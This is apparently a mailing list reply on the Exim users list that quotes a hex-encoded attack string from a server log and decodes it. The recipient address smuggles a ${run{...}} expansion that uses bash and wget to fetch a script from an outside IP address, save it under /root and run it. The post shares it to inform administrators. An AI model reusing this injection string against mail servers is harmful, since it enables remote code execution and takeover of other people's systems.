Am 11.06.19 um 02:10 schrieb Calum Mackay via Exim-users:
> root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx:
> Too many "Received" headers - suspected mail loop
>
For anyone interessted, this is what it looks like unscrambled:
root+${run{/bin/bash -c "wget --no-check-certificate -T 36
https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp
-n" &}}@xxx: Too many "Received" headers - suspected mail loop
Marius
